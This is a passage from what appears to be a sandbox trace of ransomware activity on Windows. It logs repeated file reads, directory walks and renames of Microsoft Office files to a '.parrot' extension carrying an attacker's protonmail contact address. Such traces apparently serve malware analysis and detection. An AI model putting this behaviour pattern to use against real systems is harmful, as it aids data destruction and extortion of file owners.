files\\microsoft office\\office14\\forms\\1033\\smsl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.283] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.285] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.285] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8be, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8be, lpOverlapped=0x0) returned 1 [0185.285] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.291] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.293] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.293] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x300, lpOverlapped=0x0) returned 1 [0185.293] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.297] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.297] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.299] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.299] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x324, lpOverlapped=0x0) returned 1 [0185.299] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.303] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.305] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.305] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.305] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.309] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.309] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.311] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.316] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.318] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x327, lpOverlapped=0x0) returned 1 [0185.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.322] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.324] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.324] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.324] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.329] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.331] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.335] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.336] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.337] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.337] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.341] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.341] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.343] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31d, lpOverlapped=0x0) returned 1 [0185.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.347] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.349] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.349] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.349] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreql.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.353] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.354] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.355] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.355] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreqs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.359] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.361] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.361] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.361] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\tasks.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.366] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.366] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.367] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x326, lpOverlapped=0x0) returned 1 [0185.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0185.372] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa832660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa832660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.373] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9e86d00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACTIVI~1.PAR")) returned 1 [0185.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0185.375] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.375] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa832660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa832660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0185.375] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa832660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa832660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0185.376] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.376] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0185.378] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.378] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x88933, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x88933, lpOverlapped=0x0) returned 1 [0185.449] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.487] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.487] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0185.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.489] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3c0, lpOverlapped=0x0) returned 1 [0185.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest"), 